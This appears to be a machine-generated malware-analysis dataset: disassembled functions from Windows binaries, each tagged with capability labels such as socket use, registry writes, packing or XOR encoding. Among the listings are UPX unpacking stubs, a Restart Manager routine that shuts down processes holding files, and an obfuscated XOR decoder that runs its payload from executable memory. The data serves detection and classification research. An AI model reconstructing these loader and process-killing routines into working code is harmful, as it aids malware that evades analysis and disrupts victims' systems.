joyce8/EMBER2024-capa huggingface dataset:
Function at 0x87d8b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2bd000]
push edi
or ebp, 0xffffffff
jmp 0x87d8d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x87d8d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x87d8c8
mov eax, 1
add ebx, ebx
jne 0x87d8eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x87d8fc
jne 0x87d91b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x87d91b
dec eax
add ebx, ebx
jne 0x87d908
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x87d8e0
add ebx, ebx
jne 0x87d917
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x87d96d
xor ecx, ecx
sub eax, 3
jb 0x87d933
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x87d9a2
sar eax, 1
mov ebp, eax
jmp 0x87d93e
add ebx, ebx
jne 0x87d93e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x87d90c
inc ecx
add ebx, ebx
jne 0x87d94c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x87d90c
add ebx, ebx
jne 0x87d959
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x87d94e
jne 0x87d96a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x87d94e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x87d98c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x87d97e
jmp 0x87d8ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x87d98c
add edi, ecx
jmp 0x87d8ce
pop esi
mov edi, esi
mov ecx, 0xf98a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x87d9aa
cmp byte [edi], 0x2a
jne 0x87d9aa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x87d9af
lea edi, [esi + 0x479000]
mov eax, dword [edi]
or eax, eax
je 0x87da27
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x481c6c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x481dfc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x87d9dc
mov ecx, edi
jns 0x87da0b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x481e00]
or eax, eax
je 0x87da21
mov dword [ebx], eax
add ebx, 4
jmp 0x87d9f9
call dword [esi + 0x481e10]
mov ebp, dword [esi + 0x481e04]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x247]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x87da5b
sub esp, 0xffffff80
jmp 0x613a66
Function at 0x401000
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x5a0
push eax
call fcn.00401850
add esp, 4
test eax, eax
je 0x401209
mov eax, dword [0x407c84]
test eax, eax
jne 0x401031
call fcn.004017f0
test eax, eax
je 0x401209
lea ecx, [esp + 0x410]
push ecx
push 0x101
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x401209
push esi
push eax
push 1
push 2
call sub.WSOCK32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
je 0x4011fe
xor edx, edx
mov dword [esp + 4], edx
mov word [esp + 4], 2
mov dword [esp + 8], edx
mov dword [esp + 0xc], edx
push edx
mov dword [esp + 0x14], edx
call sub.WSOCK32.dll_htonl
push 0
mov dword [esp + 0xc], eax
call sub.WSOCK32.dll_htons
push 0x10
mov word [esp + 0xa], ax
lea eax, [esp + 8]
push eax
push esi
call sub.WSOCK32.dll_bind
cmp eax, 0xffffffff
je 0x4011e2
push str.www.netsarang.com
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x4011e2
mov ecx, dword [eax + 0xc]
push 0x50
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 0xc], eax
call sub.WSOCK32.dll_htons
lea ecx, [esp + 4]
push 0x10
push ecx
push esi
mov word [esp + 0x12], ax
call sub.WSOCK32.dll_connect
cmp eax, 0xffffffff
je 0x4011e2
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
and eax, 0x3ff
push 0x407b54
cmp eax, 0x12
push 0x407b74
push str._verchk_verchk.php
je 0x401110
lea edx, [esp + 0x20]
push str.GET_http:__www.netsarang.com_s_productcode_sproductversion_s_r_n
push edx
jmp 0x40111a
lea eax, [esp + 0x20]
push str.GET_http:__www.netsarang.com_s_productcode_sproductversion_slangkr_r_n
push eax
call fcn.00401972
add esp, 0x14
or ecx, 0xffffffff
xor eax, eax
push edi
lea edi, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
lea ecx, [esp + 0x20]
push ecx
push esi
call sub.WSOCK32.dll_send
cmp eax, 0xffffffff
pop edi
je 0x4011e2
push 0
push 0x106
push 0x407b7c
push esi
call sub.WSOCK32.dll_recv
cmp eax, 0xa
jle 0x4011a9
cmp byte [0x407b7c], 0x59
jne 0x4011a9
cmp byte [0x407b7d], 0xa
jne 0x4011a9
mov edx, dword [esp + 0x5a8]
push 0
push 0x401270
push 0
push 0x67
push edx
mov byte [eax + 0x407b7c], 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push esi
call sub.WSOCK32.dll_closesocket
call sub.WSOCK32.dll_WSACleanup
pop esi
xor eax, eax
add esp, 0x5a0
ret 0x10
mov eax, dword [0x407c84]
test eax, eax
je 0x4011e7
mov eax, dword [esp + 0x5a8]
push 0
push 0x4013f0
push 0
push 0x73
push eax
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push esi
call sub.WSOCK32.dll_closesocket
call sub.WSOCK32.dll_WSACleanup
pop esi
xor eax, eax
add esp, 0x5a0
ret 0x10
call fcn.00401220
push esi
call sub.WSOCK32.dll_closesocket
call sub.WSOCK32.dll_WSACleanup
pop esi
xor eax, eax
add esp, 0x5a0
ret 0x10
call fcn.00401220
call sub.WSOCK32.dll_WSACleanup
pop esi
xor eax, eax
add esp, 0x5a0
ret 0x10
Function at 0x4016f0
Capabilities:
Set registry value

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
mov eax, dword [esi]
mov ecx, dword [esi + 4]
add eax, 0x28e44000
adc ecx, 0x580
mov dword [esi], eax
mov dword [esi + 4], ecx
lea eax, [esp + 4]
lea ecx, [esp + 0xc]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x407a50
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40175f
mov edx, dword [esp + 0xc]
push 8
push esi
push 3
push eax
push str.DelayUpdateUntil
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
pop ecx
ret
xor eax, eax
pop esi
pop ecx
ret

Function at 0x401770
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push 0x20019
push 3
push 0x407a50
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4017e1
mov edx, dword [esp + 0xc]
lea ecx, [esp + 4]
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x10]
push str.DelayUpdateUntil
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4017d6
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 4]
xor eax, eax
cmp ecx, 8
sete al
add esp, 8
ret
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add esp, 8
ret

Function at 0x402fc5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x407498
cmp edx, dword [eax]
je 0x402fe7
add eax, 8
inc ecx
cmp eax, 0x407528
jl 0x402fd8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x407498]
jne 0x403115
mov eax, dword [0x407c98]
cmp eax, 1
je 0x4030ef
test eax, eax
jne 0x403018
cmp dword [0x4071c8], 1
je 0x4030ef
cmp edx, 0xfc
je 0x403115
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40304f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403c00
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x403092
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x406484
push edi
call fcn.00404980
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403c00
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403c10
lea eax, [ebp - 0xa0]
push 0x406464
push eax
call fcn.00403c10
push dword [esi + 0x40749c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403c10
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004048ee
add esp, 0x2c
pop edi
jmp 0x403115
lea eax, [ebp + 8]
lea esi, [esi + 0x40749c]
push 0
push eax
push dword [esi]
call fcn.00403490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10002d60
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
cmp dword [ebp + 8], 0
je 0x10002d75
cmp dword [ebp + 0xc], 0
jne 0x10002d7c
xor eax, eax
jmp 0x10002ea1
lea eax, [ebp - 0x264]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x10002e91
mov dword [ebp - 4], 0
jmp 0x10002da8
mov ecx, dword [ebp - 4]
add ecx, 4
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
movsx eax, byte [ebp + edx - 0x264]
test eax, eax
je 0x10002e91
push 0x10029298
mov ecx, dword [ebp - 4]
lea edx, [ebp + ecx - 0x264]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10002def
push 0x1002929c
mov eax, dword [ebp - 4]
lea ecx, [ebp + eax - 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10002df1
jmp 0x10002d9f
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp - 4]
mov dl, byte [ebp + ecx - 0x264]
mov byte [ebp + eax - 8], dl
mov eax, 1
shl eax, 0
mov ecx, dword [ebp - 4]
mov dl, byte [ebp + ecx - 0x263]
mov byte [ebp + eax - 8], dl
mov eax, 1
shl eax, 1
mov byte [ebp + eax - 8], 0
push 0x64
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
jne 0x10002e41
xor eax, eax
jmp 0x10002ea1
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x70]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.10007c93
add esp, 0xc
test eax, eax
jne 0x10002e8c
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, 1
jmp 0x10002ea1
jmp 0x10002d9f
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10002eb0
Capabilities:
Create restart manager session

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov dword [ebp - 4], 0xffffffff
push 0x42
push 0
lea eax, [ebp - 0x58]
push eax
call fcn.10009310
add esp, 0xc
lea ecx, [ebp - 0x58]
push ecx
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10002f6d
mov eax, dword [ebp + 8]
push eax
call fcn.1000c3c0
add esp, 4
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x260]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x10002f2c
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
jmp 0x10002f82
lea eax, [ebp - 0x260]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 1
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10002f6d
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov esp, ebp
pop ebp
ret

Function at 0x10002f90
Capabilities:
Enumerate processes
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x538
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x10], 1
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x128
push 0
lea eax, [ebp - 0x138]
push eax
call fcn.10009310
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x10002fe3
jmp 0x100030a5
mov dword [ebp - 0x138], 0x128
lea ecx, [ebp - 0x138]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_Process32First]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x100030a5
cmp dword [ebp - 0x10], 0
je 0x100030a5
mov eax, dword [ebp - 0x130]
push eax
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1000308c
cmp dword [ebp - 4], 0
je 0x1000308c
push 0x200
lea eax, [ebp - 0x338]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameA]
lea edx, [ebp - 0x538]
push edx
lea eax, [ebp - 0x338]
push eax
call fcn.10002d60
add esp, 8
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x538]
push edx
call fcn.10002eb0
add esp, 4
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32Next]
mov dword [ebp - 0x10], eax
jmp 0x10003001
mov esp, ebp
pop ebp
ret
Function at 0x10005938
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x10005959
jl 0x10005950
test edi, edi
jne 0x10005959
xor eax, eax
xor edx, edx
jmp 0x10005a1a
cmp dword [ebx + 0x38], 0
je 0x1000596e
push eax
push edi
push dword [ebp + 8]
call fcn.10005a20
jmp 0x10005a1a
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x100059b5
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x100059b5
cmp eax, edi
jb 0x1000598f
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.100076f0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x100059bb
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x10005a0f
mov ecx, ebx
call fcn.10005188
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x100059fa
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.1000d44f
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x10005a0f
jmp 0x100059cd
test edx, edx
je 0x10005a0f
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.1000d44f
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x10005b0f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x10005b31
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10005bf4
jmp 0x10005bef
mov eax, dword [ebx + 0x20]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
test ecx, ecx
je 0x10005b57
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x10005b5c
xor ecx, ecx
mov dword [ebp - 0xc], eax
mov eax, ecx
cdq
mov dword [ebp - 4], eax
mov ecx, edx
mov dword [ebp - 8], ecx
test edi, edi
jl 0x10005bbc
jg 0x10005b71
test esi, esi
je 0x10005bbc
test ecx, ecx
jl 0x10005bb7
jg 0x10005b7b
test eax, eax
je 0x10005bb7
cmp edi, ecx
jg 0x10005b8d
jl 0x10005b85
cmp esi, eax
jae 0x10005b8d
mov eax, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], edi
push eax
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.100076f0
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov edx, dword [ebp - 4]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [ebp - 8]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x10005bbf
mov ecx, dword [ebp + 8]
jmp 0x10005bc9
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x10005be3
jg 0x10005bc9
test esi, esi
je 0x10005be3
cmp dword [ebx + 0x4c], 0
je 0x10005be3
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.1000dabb
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10016336
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100161ac

Function at 0x10020020
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002004d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002004d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x272fc10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.s1
lea edi, [esi - 0x211a000]
push edi
or ebp, 0xffffffff
jmp 0x272fc32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x272fc39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x272fc28
mov eax, 1
add ebx, ebx
jne 0x272fc4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x272fc5c
jne 0x272fc7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x272fc7b
dec eax
add ebx, ebx
jne 0x272fc68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x272fc40
add ebx, ebx
jne 0x272fc77
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x272fccd
xor ecx, ecx
sub eax, 3
jb 0x272fc93
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x272fd02
sar eax, 1
mov ebp, eax
jmp 0x272fc9e
add ebx, ebx
jne 0x272fc9e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x272fc6c
inc ecx
add ebx, ebx
jne 0x272fcac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x272fc6c
add ebx, ebx
jne 0x272fcb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x272fcae
jne 0x272fcca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x272fcae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x272fcec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x272fcde
jmp 0x272fc2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x272fcec
add edi, ecx
jmp 0x272fc2e
pop esi
mov edi, esi
mov ecx, 0x76b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x272fd0a
cmp byte [edi], 0x2d
jne 0x272fd0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x272fd0f
lea edi, [esi + 0x2322000]
mov eax, dword [edi]
or eax, eax
je 0x272fd87
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x238a2b8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x238a4bc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x272fd3c
mov ecx, edi
jns 0x272fd6b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x238a4c4]
or eax, eax
je 0x272fd81
mov dword [ebx], eax
add ebx, 4
jmp 0x272fd59
call dword [esi + 0x238a4c0]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x272fdb8
cmp al, 0xef
ja 0x272fdab
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x272fd8d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x272fd9a
mov ebp, dword [esi + 0x238a4c8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x24f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x272fdec
sub esp, 0xffffff80
jmp 0x54f10e
Function at 0x1000e5e3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1000e5f2
pop dword [ebp - 0x3c]
mov eax, 0x3990237b
add eax, 0xd670c277
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x4ea72dee
sub dword [ebp - 0x4c], 0x54e8a3
mov dword [ebp - 0x48], 0xa9063266
add dword [ebp - 0x48], 0x892d19df
mov dword [ebp - 0x44], 0x5197c0bc
add dword [ebp - 0x44], 0xfab48372
mov dword [ebp - 0x40], 0xe433ad57
sub dword [ebp - 0x40], 0xe433ad57
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x2f9eb6d6
add eax, 0xe062790a
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xe630eb78
sub dword [ebp - 0x4c], 0x71be8222
mov dword [ebp - 0x48], 0xc2186eac
add dword [ebp - 0x48], 0x7f53f2c9
mov dword [ebp - 0x44], 0xaf58ab9a
add dword [ebp - 0x44], 0xb416c0d2
mov dword [ebp - 0x40], 0xf657ffdb
add dword [ebp - 0x40], 0x9a80025
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xdd3cd830
sub eax, 0xcd3ba848
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3755c
push 0
call eax
mov ecx, 0x4b16
mov edi, eax
mov edx, 0xc236977f
sub edx, 0xb2350d7f
add edx, dword [ebp - 0x3c]
mov esi, 0x8efb74ea
add esi, 0xd26617d9
sub dword [ebp - 0x20], edx
mov ebx, dword [edx]
add dword [ebp - 4], ebx
xor ebx, esi
mov dword [edi], ebx
mov dword [ebp - 0x20], 0x18a3fd74
add edi, 4
add edx, 4
loop 0x1000e70e
add eax, 0x11f2b
xor ebx, ebx
add ebx, eax
add eax, 0xdb29b31f
sub eax, 0xdb29b31a
mov ecx, 0xa356d776
sub ecx, 0x9356d776
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret